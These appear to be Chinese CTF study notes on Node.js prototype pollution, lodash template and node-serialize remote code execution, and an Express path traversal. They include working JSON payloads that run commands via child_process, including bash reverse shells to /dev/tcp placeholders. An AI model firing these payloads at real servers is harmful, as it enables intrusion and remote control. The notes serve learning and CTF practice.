javascript没有类,只有对象。每个实例对象(object)都有一个私有属性(称之为 __proto__
)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__
),层层向上直到一个对象的原型对象为 null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。并不代表null是顶端的对象,位于原型链顶端的是Object.prototype,上面没有了所以是null。Object.prototype对象的原型对象是null。这意味着Object.prototype没有原型,它是原型链的顶端。
几乎所有 JavaScript 中的对象都是位于原型链顶端的Object.prototype的实例。
__proto__
和prototype__proto__
当谈到继承时,JavaScript只有一种结构∶对象。每个实例对象(object)都有一个私有属性(称之为_proto_
)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(_proto_
),层层向上直到一个对象的原型对象为null。根据定义,null没有原型,并作为这个原型链中的最后一个环节。
function Son(){} var son = new Son(); console.log(Son.prototype) console.log(son.__proto__)//这两种payload都可以用来访问原型对象 console.log(Son.prototype == son.__proto__) 输出: Son {} Son {}//输出一样的。 true
这个就是个利用点。
这里注意,函数Son实例化成为对象son之后不能通过prototype访问其原型对象了,因为prototype是函数特有的,那我们可以通过__proto__
来访问他的原型对象。
son是对象,Son是函数。portotype是指向函数的原型,__proto__
是指向对象的原型。
__proto__
是每个JavaScript对象都有的一个属性,它指向该对象的原型。原型是一个对象,它包含了该对象的方法和属性。当我们访问一个对象的属性或方法时,如果该对象本身没有该属性或方法,JavaScript会沿着该对象的原型链向上查找,直到找到该属性或方法为止。prototype是函数对象特有的属性,它指向该函数的原型。原型是一个对象,它包含了该函数的方法和属性。当我们使用new关键字创建一个对象时,JavaScript会将该对象的__proto__
属性指向该函数的prototype属性。简单来说,__proto__
是每个对象都有的属性,它指向该对象的原型;而prototype是函数对象特有的属性,它指向该函数的原型。
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
例如
object1 = {"a":1, "b":2}; object1.__proto__.foo = "Hello World";//我们对object1的原型对象设置了一个foo属性 console.log(object1.foo);//console.log应该是输出函数 object2 = {"c":1, "d":2};//object1和object2两个对象继承同一个原型对象。 console.log(object2.foo);//object2没有foo这个属性,所以沿着原型链往上找,找到原型对象的foo并继承,也获得了foo属性。也就是object1的操作把这条原型链都污染了
输出两个Hello World
object1和object2两个对象继承同一个对象。
再次例如
function Father(){ this.first_name='Donald' this.last_name='Trump' } function Son(){ this.first_name='Melania' } // console.log(Son.prototype) Son.prototype = new Father()//把Son的原型对象设置为Father() let son = new Son console.log(`Name:${son.first_name} ${son.last_name}`) 输出: Name:Melania Trump
只有Son中没有对应属性的时候才会去原型对象找。改不了他本人的,改他爹的,然后让他爹传给他。
Name:Melania xxhfunction Father(){ this.first_name='Donald' this.last_name='Trump' } function Son(){ this.first_name='Melania' } // console.log(Son.prototype) Son.prototype = new Father() let son = new Son son.__proto__['last_name']='xxh' let newson = new Son console.log(`Name:${newson.first_name} ${newson.last_name}`) 输出: Name:Melania xxh
又被改了一下。
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//这里的数据要用JSON.parse处理为json格式,不然会将proto识别为键名 merge(o1, o2) console.log(o1.a, o1.b) 输出:1,2 o3 = {} console.log(o3.b) 输出:2//说明原型对象已经有b属性了
被加入属性的对象是o1和o1的原生类。我们给o1的加了个a属性赋值了1,给o1的原型对象加了个b属性赋值为2,而不是给o1加了个__proto__
属性赋值为{"b": 2}。这样原型对象被污染,让o3也有了b属性。
模块:child_process
函数:eval,spwn,exec,setTimeout,setInteval,Function
payload:
require('child_process').exec('ls');
使用require加载child_process的模块
require('child_process').execSync('ls').toString()
require('child_process').spawnSync('ls').stdout.toString();
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
不需要引入模块的:
global.process.mainModule.constructor._load('child_process').execSync('ls')
解释:全局对象global的process属性是Node.js进程对象的引用,而其mainModule属性则是指向当前主模块的引用。因此,global.process.mainModule.constructor可以获取到当前主模块的构造函数,再通过其_load方法加载child_process模块并返回其引用。
敏感字符:
例如
读取目录,exec被过滤
require('child_process').execSync('ls').toString()
法1:
require('child_process')[exe'%2B'cSync('ls')]toString()
读取函数
?eval=require("fs").readdirSync('.') 查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件
ctfshow336(js数组对象)
var express = require('express');//加载express模块,创建express应用 var router = express.Router(); var crypto = require('crypto');//加载crypto模块,进行加密 function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } /* GET home page. */ router.get('/', function(req, res, next) {//收到get请求 res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){//如果请求中包含了两个参数a和b,并且这两个参数的长度相同且不相等,并且将参数a和flag拼接后进行MD5加密的结果与将参数b和flag拼接后进行MD5加密的结果相同,那么该函数将返回字符串flag res.end(flag); }else{ res.render('index',{ msg: 'tql'}); } }); module.exports = router;
看了wp,payload
?a[x]=1&b[x]=2
这个表示在a对象下面加一个值为1的x属性,在b对象下面加一个值为2的x属性。
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。有几个严重的漏洞
Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources
来源对象自身和继承的可枚举属性到 object
目标对象,以创建父映射对象。这决定了它非常适合用于原型链污染。
Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置
[Code-Breaking 2018]Thejs
// ... const lodash = require('lodash')//用require的方式来加载lodash库 // ... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) /*定义了一个 app.engine() 方法,该方法用于定义模板引擎的实现方式。在这里,将 ejs 作为模板引擎的名称,并传入一个回调函数作为实现。该回调函数包含三个参数: filePath:表示要渲染的模板文件的路径; options:表示传递给模板的数据对象; callback:表示回调函数,用于在渲染完成后返回渲染结果。 在回调函数中,使用 fs.readFile() 方法读取模板文件的内容。如果读取出错,则直接调用 callback() 方法并返回一个错误。否则,使用 lodash.template() 方法将模板内容编译为一个模板函数,并将传入的数据对象 options 作为参数进行渲染。最后,调用 callback() 方法返回渲染结果。*/ //... app.all('/', (req, res) => {//定义一个路由处理函数 let data = req.session.data || {language: [], category: []}//在 GET 请求中,从 req.session.data 中获取存储的数据对象 if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data//在 POST 请求中,将请求体中的数据合并到原有的数据对象中,并将新的数据对象存储在 req.session.data 中。用于更新数据 } res.render('index', {//这里是储存的数据。res.render将渲染结果返回给用户 language: data.language, category: data.category })//数据格式{language: data.language, category: data.category} })
为什么要污染 sourceURL 呢?我们看到 lodash.template
// Use a sourceURL for easier debugging. var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; /*代码解释: 检查 options 对象中是否有 sourceURL 属性来生成一个用于调试的 sourceURL 字符串。如果 options 中有 sourceURL 属性,则生成形如 "//# sourceURL=xxx" 的字符串,其中 xxx 是 options.sourceURL 属性的值。如果 options 中没有 sourceURL 属性,则 sourceURL 字符串为空字符串。 这里我们想污染options的原型对象来给他赋值 注意:这个地方我们通过构造chile_process.exec()就可以执行任意代码了。但是由于Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。 */ //... var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });//然后,使用 attempt() 方法尝试执行 Function 构造函数,生成一个新的函数并返回。生成函数的代码为 sourceURL + 'return ' + source,其中 source 是一个字符串,包含了函数的源代码。importsKeys 和 importsValues 是两个数组,分别包含了传递给生成函数的参数的键和值。在生成函数时,使用 Function 构造函数将参数列表和源代码拼接在一起,并执行生成的函数,最终返回生成函数的返回值。sourceURL被拼接进去造成任意代码执行漏洞。
给出两种payload
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').to
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
常用:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
Express是个web框架,由js编写
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
Express依赖Send组件,Send组件0.11.0-0.15.6版本pipe()函数中
Send模块通过normalize('.' + sep + path)
标准化路径)path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入545行的join(root, path)
函数中,跳转到我们想要跳转到的目录中
标准化路径:将路径符号转化为当前操作系统规定的
目录跳转字符:
..跳转到上一目录
.当前目录
再来看Node.js,Node.js 8.5.0对path.js文件中的normalizeStringPosix
函数进行了修改,使其能够对路径做到如下的标准化:
assert.strictEqual(path.posix.normalize('bar/foo../..'), 'bar');
这里path.posix.normalize把bar/foo../..标准化为bar
新的修改带来了问题,通过单步调试我们发现,可以通过foo../../
和目录跳转字符一起注入到路径中,foo../../
可以把变量isAboveRoot
设置为false
(代码161行),并且在代码135行把自己删掉;变量isAboveRoot
为false
的情况下,可以在foo../../
两边设置同样数量的跳转字符,让他们同样在代码135行把自己删除,这样就可以构造出一个带有跳转字符,但是通过normalizeStringPosix
函数标准化后又会全部自动移除的payload,这个payload配合上面提到的Send模块bug就能够成功的返回一个我们想要的物理路径,最后在Send模块中读取并返回文件。
源于Node.js使用的一个叫做"serialize-javascript"的npm包中的缺陷。
该漏洞的原理是,攻击者可以通过构造特定的JavaScript对象,在其中注入恶意代码,并将该对象序列化成JSON字符串,然后将JSON字符串发送到服务器。当服务器解析该JSON字符串并反序列化该对象时,恶意代码会被执行,从而导致攻击者可以远程执行任意代码。
IIFE(立即调用函数表达式)
这是一个在定义时就会立即执行的js函数
(function () {
statements
})();
这是一个被称为 自执行匿名函数 的设计模式,主要包含两部分。
第一部分是包围在 圆括号运算符
()
里的一个匿名函数,这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量,而且又不会污染全局作用域。
第二部分再一次使用 ()
创建了一个立即执行函数表达式,JavaScript 引擎到此将直接执行函数。
形式:
(function(){ /* code */ }());
(function(){ /* code */ })();
构造Payload
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
生成的Payload为:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}
_$$ND_FUNC$$_function (){...}()
是通过特殊命名方式($$ND_FUNC$$)创建的一个JavaScript函数对象,并使用其中的"require"和"exec"函数来执行同样的恶意代码。这种方式的好处是可以通过特殊命名方式避免一些JavaScript命名约束,例如不能以数字开头的变量名等,从而增加了成功利用漏洞的几率。
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个()
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}
function(error, stdout, stderr){console.log(stdout)}这里利用回调函数显示结果,如果反弹shell就不需要了
_$$ND_FUNC$$_function (){require('child_process').exec('bash -c "bash -i >& /dev/tcp/[IP]/[PORT] 0>&1"')}()
参考:
从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)
NodeJs从零到原型链污染 - M1kael‘s Blog
[CVE-2019-10758:mongo-expressRCE复现分析 - 先知社区 (aliyun.com)](